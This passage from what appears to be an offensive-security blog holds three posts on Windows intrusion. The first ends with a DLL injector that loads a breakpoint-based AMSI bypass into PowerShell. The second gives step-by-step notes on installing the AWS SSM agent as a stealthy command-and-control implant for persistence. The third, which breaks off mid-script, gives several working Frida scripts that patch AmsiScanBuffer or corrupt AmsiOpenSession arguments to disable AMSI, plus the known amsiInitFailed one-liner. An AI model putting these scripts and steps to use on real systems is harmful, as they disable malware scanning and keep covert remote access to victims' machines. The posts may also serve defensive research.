	<span class="kt">uintptr_t</span> <span class="n">addr</span> <span class="o">=</span> <span class="n">find_egg</span><span class="p">(</span><span class="n">base</span><span class="p">,</span> <span class="n">egg</span><span class="p">,</span> <span class="mi">24</span><span class="p">,</span> <span class="mi">65535</span><span class="p">);</span>

	<span class="k">switch</span><span class="p">(</span><span class="n">fdwReason</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">case</span> <span class="n">DLL_PROCESS_ATTACH</span><span class="p">:</span>
			<span class="c1">// Hook the target address.	</span>
			<span class="n">hook_process</span><span class="p">(</span><span class="n">pid</span><span class="p">,</span> <span class="n">addr</span><span class="p">);</span>
			<span class="k">break</span><span class="p">;</span>
		
		<span class="k">break</span><span class="p">;</span>
	<span class="p">}</span>
	
	<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>For testing purposes, you can use the following “injector” to load the DLL into memory:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/types.h&gt;</span><span class="cp">
</span>
<span class="kt">void</span> <span class="nf">dll_inject</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">dll_path</span><span class="p">,</span> <span class="n">pid_t</span> <span class="n">pid</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">HANDLE</span> <span class="n">proc</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>

	<span class="kt">void</span> <span class="o">*</span><span class="n">ptr</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">proc</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">dll_path</span><span class="p">),</span> <span class="n">MEM_COMMIT</span><span class="o">|</span><span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>
	<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">proc</span><span class="p">,</span> <span class="n">ptr</span><span class="p">,</span> <span class="n">dll_path</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">dll_path</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>

	<span class="kt">void</span> <span class="o">*</span><span class="n">kernel32</span> <span class="o">=</span> <span class="n">GetModuleHandle</span><span class="p">(</span><span class="n">TEXT</span><span class="p">(</span><span class="s">"kernel32.dll"</span><span class="p">));</span>
	<span class="kt">void</span> <span class="o">*</span><span class="n">loadLibAddr</span> <span class="o">=</span> <span class="n">GetProcAddress</span><span class="p">(</span><span class="n">kernel32</span><span class="p">,</span> <span class="s">"LoadLibraryA"</span><span class="p">);</span>
	<span class="n">CreateRemoteThread</span><span class="p">(</span><span class="n">proc</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">loadLibAddr</span><span class="p">,</span> <span class="n">ptr</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>	
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
	<span class="n">dll_inject</span><span class="p">(</span><span class="s">"C:</span><span class="se">\\</span><span class="s">Users</span><span class="se">\\</span><span class="s">IEUser</span><span class="se">\\</span><span class="s">Downloads</span><span class="se">\\</span><span class="s">amsi-breakpoint.dll"</span><span class="p">,</span> <span class="mi">2768</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Upon running <code class="language-plaintext highlighter-rouge">inject.exe</code> with the correct path and the PID of your Powershell process, you should find that AMSI has been disabled for it.</p>

<p><img src="/img/amsi-breakpoint.png" alt="a screenshot that demonstrates the breakpoint AMSI bypass" /></p>

<p>If you don’t, then you might need to adjust the “egg” to match the function signature of <em>AmsiScanBuffer()</em> for your version of Windows. <a href="/blogs/frida-vs-amsi">The previous article</a> describes how you can use Frida to easily extract those bytes.</p>

<h2 id="conclusion">Conclusion</h2>

<p>I won’t be publishing the code for this AMSI bypass elsewhere, as I haven’t tested it extensively enough to be sure it functions reliably. On my Windows 10 testing VM, though, it was enough to bypass AMSI without triggering the (non-enterprise) Windows Defender present on the system.</p>

<p>Breakpoint hooking is a technique I have injected (pun intended) from my own reading, but everything else I did here builds on the things I learned about AMSI by using Frida to explore its functionality. I think it’s a great illustration of how you can use reverse engineering and instrumentation tools to go from idea to prototype, and then prototype to proof of concept.</p>

<p>I might now go from proof of concept to finished tooling. It could certainly do with proper error handling and clean up, as well as a bit more obfuscation to throw off signature-based detections. For example, we still have the “amsi.dll” string embedded in the binary, which isn’t ideal and would be easy to rectify.</p>

<p>Tools like this tend to get burned pretty quickly when you release them publicly, though, so I’ll probably leave any further development as an exercise for the reader.</p>]]></content><author><name>Callum Murphy-Hale</name></author><summary type="html"><![CDATA[We broke AMSI in theory, but now let's turn it into a real exploit!]]></summary></entry><entry><title type="html">Using Amazon SSM as a C2 implant (Windows)</title><link href="https://please.donothack.us/blogs/aws-ssm-c2" rel="alternate" type="text/html" title="Using Amazon SSM as a C2 implant (Windows)" /><published>2025-05-28T00:00:00+00:00</published><updated>2025-05-28T00:00:00+00:00</updated><id>https://please.donothack.us/blogs/aws-ssm-c2</id><content type="html" xml:base="https://please.donothack.us/blogs/aws-ssm-c2"><![CDATA[<h1 id="using-amazon-ssm-as-a-c2-implant-windows">Using Amazon SSM as a C2 implant (Windows)</h1>

<p>From my personal notes.</p>

<p>Communication with the AWS API is often ignored by EDR, and the SSM agent is a legitimate utility that has a business use case in many environments. Using standard enterprise tooling instead of signature C2 frameworks is a great way to maintain stealthy persistence in a heavily monitored environment.</p>

<p>Step 1: Clone from <a href="https://github.com/aws/amazon-ssm-agent">https://github.com/aws/amazon-ssm-agent</a> and build for Windows.<br />
Step 2: Transfer all binaries from appropriate release folder to target machine. Put them in <code class="language-plaintext highlighter-rouge">C:\Program Files\Amazon\SSM\</code> as a local administrator.<br />
Step 3: Log into the AWS console for your own tenant. Navigate to Systems Manager, and from there to <em>Hybrid Activations</em>.<br />
Step 4: Create a new hybrid activation. Record the activation code and ID.</p>

<p>Step 5: If required, set proxy information on the target machine:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">set</span><span class="w"> </span><span class="nx">http_proxy</span><span class="o">=</span><span class="n">http://hostname:port</span><span class="w">
</span><span class="nx">set</span><span class="w"> </span><span class="nx">https_proxy</span><span class="o">=</span><span class="n">http://hostname:port</span><span class="w">
</span></code></pre></div></div>

<p>Step 6: Using a local administrator account, register the target machine with AWS:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">.</span><span class="n">\amazon-ssm-agent.exe</span><span class="w"> </span><span class="nt">-region</span><span class="w"> </span><span class="s2">"&lt;region&gt;"</span><span class="w"> </span><span class="nt">-id</span><span class="w"> </span><span class="s2">"&lt;activation id&gt;"</span><span class="w"> </span><span class="nt">-code</span><span class="w"> </span><span class="s2">"&lt;activation code&gt;"</span><span class="w"> </span><span class="nt">-register</span><span class="w">
</span></code></pre></div></div>

<p>Step 7: Invoke the agent as a local administrator:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">.</span><span class="n">\amazon-ssm-agent.exe</span><span class="w">
</span></code></pre></div></div>

<p>You can now invoke run documents remotely on the machine as long as the agent is running. For example, to set up port forwarding:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aws ssm start-session <span class="nt">--target</span> &lt;instance-id&gt; <span class="nt">--document-name</span> AWS-StartPortForwardingSession <span class="nt">--parameters</span> <span class="s1">'{"portNumber":["80"],"localPortNumber":["9999"]}'</span>
</code></pre></div></div>

<p>If you want to use the interactive session manager shell (Windows Server only), go to <a href="https://github.com/rprichard/winpty/">https://github.com/rprichard/winpty/</a> and download the latest release. Then transfer <code class="language-plaintext highlighter-rouge">winpty.dll</code> and <code class="language-plaintext highlighter-rouge">winpty-agent.exe</code> to:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">C:\Program Files\Amazon\SSM\Plugins\SessionManagerShell\</code></li>
</ul>]]></content><author><name>Callum Murphy-Hale</name></author><summary type="html"><![CDATA[Some notes I made on using AWS SSM to establish stealthy persistance.]]></summary></entry><entry><title type="html">Frida vs. AMSI</title><link href="https://please.donothack.us/blogs/frida-vs-amsi" rel="alternate" type="text/html" title="Frida vs. AMSI" /><published>2022-12-04T00:00:00+00:00</published><updated>2022-12-04T00:00:00+00:00</updated><id>https://please.donothack.us/blogs/frida-vs-amsi</id><content type="html" xml:base="https://please.donothack.us/blogs/frida-vs-amsi"><![CDATA[<h1 id="frida-vs-amsi">Frida vs. AMSI</h1>

<p>The Anti-Malware Scan Interface, or AMSI, is a protective mechanism provided by Windows that’s separate from Windows Defender, or whatever EDR solution you employ to protect your endpoints. It aims to provide enhanced malware protection by exposing an interface that any program can use to submit buffers for scanning at any time, and receive a detection result in realtime.</p>

<p>As a result, we most often run into AMSI on the offensive side of things when we’re trying to execute payloads in memory. Any program can subscribe to AMSI in principle, but in practice the tool that integrates AMSI by default and which we’re mostly likely to run into as offensive researchers is Microsoft Powershell. It’s no surprise, then, that a lot of time and energy has been dedicated to bypassing it.</p>

<p>Since Frida is my current obsession, I got into wondering whether Frida would be useful for exploring and prototyping AMSI bypasses (spoiler alert: it is). In this article, I’ll show you how you can use Frida along with the Radare2 debugger to explore exactly how AMSI is loaded and used in memory, and to craft custom bypasses for it that don’t fit the profile of the classic one-liners everyone already knows.</p>

<h2 id="iterating-on-a-classic">Iterating on a Classic</h2>

<p>Before we get deep into the internals of AMSI, let’s start with the classics. Most pentesters or redteamers who’ve found themselves googling for convenient one-liners to bypass AMSI will probably recognise the following snippet.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="n">Ref</span><span class="p">]</span><span class="o">.</span><span class="nf">Assembly</span><span class="o">.</span><span class="nf">GetType</span><span class="p">(</span><span class="s1">'System.Management.Automation.AmsiUtils'</span><span class="p">)</span><span class="o">.</span><span class="nf">GetField</span><span class="p">(</span><span class="s1">'amsiInitFailed'</span><span class="p">,</span><span class="s1">'NonPublic,Static'</span><span class="p">)</span><span class="o">.</span><span class="nf">SetValue</span><span class="p">(</span><span class="bp">$null</span><span class="p">,</span><span class="bp">$true</span><span class="p">)</span><span class="w">
</span></code></pre></div></div>

<p>This one works by setting a certain field in <em>System.Management.Automation.AmsiUtils</em> to true, which tricks AMSI into thinking it encountered an error during initialisation (effectively disabling it). It’s also so well-known as to be mostly useless as a one-liner, since the AMSI bypass is, itself, caught by AMSI. Another variant, less likely to be detected but more prone to breaking between different versions of Windows, works like so:</p>

<ol>
  <li>Get a handle to the base address of <em>amsi.dll</em> in the process, usually using something like <em>LoadLibrary()</em>.</li>
  <li>Find the address of the <em>AmsiScanBuffer()</em> function - often by finding some less suspicious function and scanning forward for a signature, to avoid provoking AMSI.</li>
  <li>Patch the first few bytes of <em>AmsiScanBuffer()</em> so that it always returns zero.</li>
</ol>

<p>To understand why this works, we should look at the helpfully documented function signature of <em>AmsiScanBuffer()</em>, <a href="https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer">provided for us by Microsoft</a>:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HRESULT AmsiScanBuffer(
  [in]           HAMSICONTEXT amsiContext,
  [in]           PVOID        buffer,
  [in]           ULONG        length,
  [in]           LPCWSTR      contentName,
  [in, optional] HAMSISESSION amsiSession,
  [out]          AMSI_RESULT  *result
);
</code></pre></div></div>

<p>You pass this function various parameters, including the buffer you want to be scanned, and you get both an <em>AMSI_RESULT</em> containing the detection result, and a <em>HRESULT</em> containing the error code of the function. If the function returns zero immediately, however, then both the <em>AMSI_RESULT</em> and the <em>HRESULT</em> will still be zero. For the <em>AMSI_RESULT</em>, zero means “AMSI_RESULT_CLEAN”. For the <em>HRESULT</em>, zero means “S_OK”. That’s why patching <em>AmsiScanBuffer()</em> to always return zero is enough to effectively disable it.</p>

<h2 id="writing-our-own">Writing Our Own</h2>

<p>Let’s warm up before we start trying to craft our own bypasses, and implement the classic <em>AmsiScanBuffer()</em> patch in Frida. We’ll write a script that identifies the location and signature of <em>AmsiScanBuffer()</em> to give you all the information you’d need to create your own stealthy AMSI patcher. Then we’ll attempt to actually do the patch ourself. Here are the steps we need to follow, then:</p>

<ol>
  <li>Find the base address of <em>amsi.dll</em> in the process.</li>
  <li>Find the address of the <em>AmsiScanBuffer()</em> function, and print its location and its signature in memory.</li>
  <li>Change the memory protections of the first three bytes of <em>AmsiScanBuffer()</em> to make it writable.</li>
  <li>Overwrite the first three bytes with a few assembly instructions that force the function to return early with a value of zero.</li>
  <li>Restore the memory protections to their original state.</li>
</ol>

<p>Here’s what that looks like, when implemented as a Frida script:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">amsi</span> <span class="o">=</span> <span class="nx">Process</span><span class="p">.</span><span class="nx">getModuleByName</span><span class="p">(</span><span class="dl">"</span><span class="s2">amsi.dll</span><span class="dl">"</span><span class="p">);</span>

<span class="kd">function</span> <span class="nx">bufferToHex</span> <span class="p">(</span><span class="nx">buffer</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="p">[...</span><span class="k">new</span> <span class="nb">Uint8Array</span> <span class="p">(</span><span class="nx">buffer</span><span class="p">)]</span>
        <span class="p">.</span><span class="nx">map</span> <span class="p">(</span><span class="nx">b</span> <span class="o">=&gt;</span> <span class="nx">b</span><span class="p">.</span><span class="nx">toString</span> <span class="p">(</span><span class="mi">16</span><span class="p">).</span><span class="nx">padStart</span> <span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="dl">"</span><span class="s2">0</span><span class="dl">"</span><span class="p">))</span>
        <span class="p">.</span><span class="nx">join</span> <span class="p">(</span><span class="dl">"</span><span class="s2"> </span><span class="dl">"</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// find AmsiScanBuffer()</span>
<span class="kd">var</span> <span class="nx">scanner</span> <span class="o">=</span> <span class="nx">DebugSymbol</span><span class="p">.</span><span class="nx">getFunctionByName</span><span class="p">(</span><span class="dl">"</span><span class="s2">AmsiScanBuffer</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">scannerOffset</span> <span class="o">=</span> <span class="nx">scanner</span><span class="p">.</span><span class="nx">sub</span><span class="p">(</span><span class="nx">amsi</span><span class="p">.</span><span class="nx">base</span><span class="p">);</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">AmsiScanBuffer() location: </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">scanner</span> <span class="o">+</span> <span class="dl">"</span><span class="s2"> (amsi.dll + </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">scannerOffset</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">)</span><span class="dl">"</span><span class="p">);</span>

<span class="c1">// print the first 24 bytes of the function</span>
<span class="kd">var</span> <span class="nx">signature</span> <span class="o">=</span> <span class="nx">scanner</span><span class="p">.</span><span class="nx">readByteArray</span><span class="p">(</span><span class="mi">24</span><span class="p">);</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">AmsiScanBuffer() signature: </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">bufferToHex</span><span class="p">(</span><span class="nx">signature</span><span class="p">));</span>

<span class="c1">//change memory protections</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Attempting to change memory protections...</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">oldProtect</span> <span class="o">=</span> <span class="nx">Process</span><span class="p">.</span><span class="nx">findRangeByAddress</span><span class="p">(</span><span class="nx">scanner</span><span class="p">)[</span><span class="dl">"</span><span class="s2">protection</span><span class="dl">"</span><span class="p">];</span>
<span class="nx">Memory</span><span class="p">.</span><span class="nx">protect</span><span class="p">(</span><span class="nx">scanner</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="dl">"</span><span class="s2">rw-</span><span class="dl">"</span><span class="p">);</span>

<span class="c1">//patch the function</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Attempting to patch AmsiScanBuffer()...</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">patch</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xC0</span><span class="p">,</span> <span class="mh">0xC3</span><span class="p">];</span> <span class="c1">// xorq %rax,%rax; exit;</span>
<span class="nx">scanner</span><span class="p">.</span><span class="nx">writeByteArray</span><span class="p">(</span><span class="nx">patch</span><span class="p">);</span>

<span class="c1">//restore memory protections</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Attempting to restore memory protections...</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">Memory</span><span class="p">.</span><span class="nx">protect</span><span class="p">(</span><span class="nx">scanner</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="nx">oldProtect</span><span class="p">);</span>
</code></pre></div></div>

<p>Pretty simple stuff, the kind of thing that Frida can do with its eyes closed. We can confirm it works by triggering AMSI before we inject the script:</p>

<p><img src="/img/amsipatch_before.png" alt="a screenshot of triggering AMSI in powershell" /></p>

<p>And after:</p>

<p><img src="/img/amsipatch_during.png" alt="a screenshot of Frida executing an AMSI patch script" />
<img src="/img/amsipatch_after.png" alt="a screenshot of a malicious payload failing to tirgger AMSI" /></p>

<p>After we inject the script and patch Frida, that classic and easily-detected one-liner no longer causes any complaints from AMSI when we execute it.</p>

<h2 id="alternate-bypasses">Alternate Bypasses</h2>

<p>Now that we’ve warmed up and shown that Frida is fit for purpose, let’s change our focus to the <a href="https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiopensession">AmsiOpenSession()</a> function:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HRESULT AmsiOpenSession(
  [in]  HAMSICONTEXT amsiContext,
  [out] HAMSISESSION *amsiSession
);
</code></pre></div></div>

<p>This function is used to create the <em>HAMSISESSION</em> object that gets passed to <em>AmsiScanBuffer()</em>, and so it also gets called whenever a sample is sent to AMSI. Notice how just like <em>AmsiScanBuffer()</em>, it returns a <em>HRESULT</em> containing an error code when it completes. This is important - remember this outdated oneliner from before?</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="n">Ref</span><span class="p">]</span><span class="o">.</span><span class="nf">Assembly</span><span class="o">.</span><span class="nf">GetType</span><span class="p">(</span><span class="s1">'System.Management.Automation.AmsiUtils'</span><span class="p">)</span><span class="o">.</span><span class="nf">GetField</span><span class="p">(</span><span class="s1">'amsiInitFailed'</span><span class="p">,</span><span class="s1">'NonPublic,Static'</span><span class="p">)</span><span class="o">.</span><span class="nf">SetValue</span><span class="p">(</span><span class="bp">$null</span><span class="p">,</span><span class="bp">$true</span><span class="p">)</span><span class="w">
</span></code></pre></div></div>

<p>That one-liner works by manipulating the <em>amsiInitFailed</em> variable, but what if there were ways to ensure that variable gets set without manipulating its contents directly? It seems reasonable that causing <em>AmsiScanBuffer()</em> or <em>AmsiOpenSession()</em> to return a result other than S_OK would affect that variable.</p>

<p>To investigate exactly how we can make that happen, we should analyse the execution paths of the <em>AmsiOpenSession()</em> function. Radare2 in graph view gives us a nice summary of what’s going on:</p>

<p><a href="/img/amsiopensession.png"><img src="/img/amsiopensession.png" alt="a screenshot of a radare2 call graph" /></a></p>

<p><em>(click the image if you can’t see it very well)</em></p>

<p>Looking at the call graph, we can see that there are two main execution paths through the function. The red path is contingent on a series of sanity checks passing; if they all pass, then execution continues through until the function ultimately returns with a value of zero, or S_OK. However, the green path is more interesting to us. If any of the checks fail, then we get to this instruction block:</p>

<p><a href="/img/amsiopensession_error.png"><img src="/img/amsiopensession_error.png" alt="a screenshot of a radare2 call graph, showing the error result" /></a></p>

<p>This block moves 0x80070057 into %eax, and then returns from the function. A quick look at the Microsoft documentation for <a href="https://learn.microsoft.com/en-us/windows/win32/seccrypto/common-hresult-values">common HRESULT values</a> shows us that 0x80070057 represents “E_INVALIDARG”. Seems like we’re in the right place, so let’s look at a few different ways we can get this function to return an error.</p>

<p>Here are all of the blocks that can potentially end up returning the E_INVALIDARG error, in order:</p>

<ol>
  <li>Test if %rdx is equal to zero. This is the second argument, or <em>AmsiSession</em>.</li>
  <li>Test if %rcx is equal to zero. This is the first argument, or <em>AmsiContext</em>.</li>
  <li>Compare the first DWORD of <em>AmsiContext</em> with a hardcoded signature value, 0x49534d41 (“AMSI”).</li>
  <li>Test if the QWORD at <em>AmsiContext+0x8</em> is equal to zero.</li>
  <li>Test if the QWORD at <em>AmsiContext+0x10</em> is equal to zero.</li>
</ol>

<p>So, this gives a number of candidates for alternate bypasses:</p>

<ol>
  <li>Hook <em>AmsiOpenSession()</em> and force the return value to be 0x80070057.</li>
  <li>Hook <em>AmsiOpenSession()</em> and replace the first argument with a null pointer.</li>
  <li>Hook <em>AmsiOpenSession()</em> and replace the second argument with a null pointer.</li>
  <li>Hook <em>AmsiOpenSession()</em> and replace the first argument with a pointer to an invalid buffer.</li>
  <li>Hook <em>AmsiOpenSession()</em> and corrupt the first 4 bytes of <em>AmsiContext</em>.</li>
  <li>Hook <em>AmsiOpenSession()</em> and zero out the QWORD at offset 0x8 or 0x10.</li>
</ol>

<p>We don’t need to implement every single one of these to prove our point, but let’s do a few. Here’s an example that allocates a dummy buffer and replaces <em>AmsiContext</em> with it:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//find AmsiOpenSession()</span>
<span class="kd">var</span> <span class="nx">amsi</span> <span class="o">=</span> <span class="nx">Process</span><span class="p">.</span><span class="nx">getModuleByName</span><span class="p">(</span><span class="dl">"</span><span class="s2">amsi.dll</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">target</span> <span class="o">=</span> <span class="nx">amsi</span><span class="p">.</span><span class="nx">getExportByName</span><span class="p">(</span><span class="dl">"</span><span class="s2">AmsiOpenSession</span><span class="dl">"</span><span class="p">);</span>

<span class="kd">var</span> <span class="nx">E_INVALIDARG</span> <span class="o">=</span> <span class="mh">0x80070057</span><span class="p">;</span>

<span class="c1">//hook AmsiOpensession()</span>

<span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">target</span><span class="p">,</span> <span class="p">{</span>
	<span class="na">onEnter</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span> <span class="p">{</span>
		<span class="c1">//Allocate a buffer to use as a dummy amsiContext argument.</span>
		<span class="c1">//It will be invalid, causing an error to be thrown.</span>
		<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">AmsiOpenSession() invoked! Let's cause problems :)</span><span class="dl">"</span><span class="p">);</span>
		<span class="kd">var</span> <span class="nx">buf</span> <span class="o">=</span> <span class="nx">Memory</span><span class="p">.</span><span class="nx">alloc</span><span class="p">(</span><span class="mi">7096</span><span class="p">);</span>
		<span class="nx">Memory</span><span class="p">.</span><span class="nx">protect</span><span class="p">(</span><span class="nx">buf</span><span class="p">,</span> <span class="mi">7096</span><span class="p">,</span> <span class="dl">"</span><span class="s2">rw-</span><span class="dl">"</span><span class="p">);</span>
		<span class="nx">args</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">buf</span><span class="p">;</span>
	<span class="p">},</span>
	<span class="na">onLeave</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">retval</span><span class="p">)</span> <span class="p">{</span>
		<span class="c1">//Verify the E_INVALIDARG error was thrown by checking the function's return value.</span>
		<span class="k">if</span> <span class="p">(</span><span class="nx">retval</span> <span class="o">==</span> <span class="nx">E_INVALIDARG</span><span class="p">)</span> <span class="p">{</span>
			<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">AmsiOpenSession() returned E_INVALIDARG; AMSI should now be disabled.</span><span class="dl">"</span><span class="p">);</span>
			<span class="nx">Interceptor</span><span class="p">.</span><span class="nx">detachAll</span><span class="p">();</span>
		<span class="p">}</span>
	<span class="p">}</span>
<span class="p">});</span>
</code></pre></div></div>

<p>Here’s a script that corrupts the first 4 bytes of <em>AmsiContext</em> so that they contain something other than the signature value of “AMSI”:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//find AmsiOpenSession()</span>
<span class="kd">var</span> <span class="nx">amsi</span> <span class="o">=</span> <span class="nx">Process</span><span class="p">.</span><span class="nx">getModuleByName</span><span class="p">(</span><span class="dl">"</span><span class="s2">amsi.dll</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">target</span> <span class="o">=</span> <span class="nx">amsi</span><span class="p">.</span><span class="nx">getExportByName</span><span class="p">(</span><span class="dl">"</span><span class="s2">AmsiOpenSession</span><span class="dl">"</span><span class="p">);</span>

<span class="kd">var</span> <span class="nx">E_INVALIDARG</span> <span class="o">=</span> <span class="mh">0x80070057</span><span class="p">;</span>

<span class="c1">//hook AmsiOpensession()</span>

<span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">target</span><span class="p">,</span> <span class="p">{</span>
	<span class="na">onEnter</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span> <span class="p">{</span>
		<span class="c1">//Replace the first four bytes of AmsiContext with "1337".</span>
		<span class="c1">//This will cause the signature check to fail and an error will be thrown.</span>
		<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">AmsiOpenSession() invoked! Let's cause problems :)</span><span class="dl">"</span><span class="p">);</span>
		<span class="kd">var</span> <span class="nx">buf</span> <span class="o">=</span> <span class="nx">args</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
		<span class="nx">buf</span><span class="p">.</span><span class="nx">writeByteArray</span><span class="p">([</span><span class="dl">"</span><span class="s2">1</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">3</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">3</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">7</span><span class="dl">"</span><span class="p">]);</span>
	<span class="p">},</span>
	<span class="na">onLeave</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">retval</span><span class="p">)</span> <span class="p">{</span>
		<span class="c1">//Verify the E_INVALIDARG error was thrown by checking the function's return value.</span>
		<span class="k">if</span> <span class="p">(</span><span class="nx">retval</span> <span class="o">==</span> <span class="nx">E_INVALIDARG</span><span class="p">)</span> <span class="p">{</span>
			<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">AmsiOpenSession() returned E_INVALIDARG; AMSI should now be disabled.</span><span class="dl">"</span><span class="p">);</span>
			<span class="nx">Interceptor</span><span class="p">.</span><span class="nx">detachAll</span><span class="p">();</span>
		<span class="p">}</span>
	<span class="p">}</span>
<span class="p">});</span>
</code></pre></div></div>

<p>And finally, a script that writes 8 bytes of nulls to <em>AmsiContext+0x8</em>:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//find AmsiOpenSession()</span>
<span class="kd">var</span> <span class="nx">amsi</span> <span class="o">=</span> <span class="nx">Process</span><span class="p">.</span><span class="nx">getModuleByName</span><span class="p">(</span><span class="dl">"</span><span class="s2">amsi.dll</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">target</span> <span class="o">=</span> <span class="nx">amsi</span><span class="p">.</span><span class="nx">getExportByName</span><span class="p">(</span><span class="dl">"</span><span class="s2">AmsiOpenSession</span><span class="dl">"</span><span class="p">);</span>

<span class="kd">var</span> <span class="nx">E_INVALIDARG</span> <span class="o">=</span> <span class="mh">0x80070057</span><span class="p">;</span>

<span class="c1">//hook AmsiOpensession()</span>

<span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">target</span><span class="p">,</span> <span class="p">{</span>
	<span class="na">onEnter</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span> <span class="p">{</span>
		<span class="c1">//Replace the pointer at AmsiContext+0x8 with zeroes.</span>
		<span class="c1">//This will cause a sanity check to fail and an error will be thrown.</span>
		<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">AmsiOpenSession() invoked! Let's cause problems :)</span><span class="dl">"</span><span class="p">);</span>
		<span class="kd">var</span> <span class="nx">buf</span> <span class="o">=</span> <span class="nx">args</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">add</span><span class="p">(</span><span class="mh">0x8</span><span class="p">);</span>
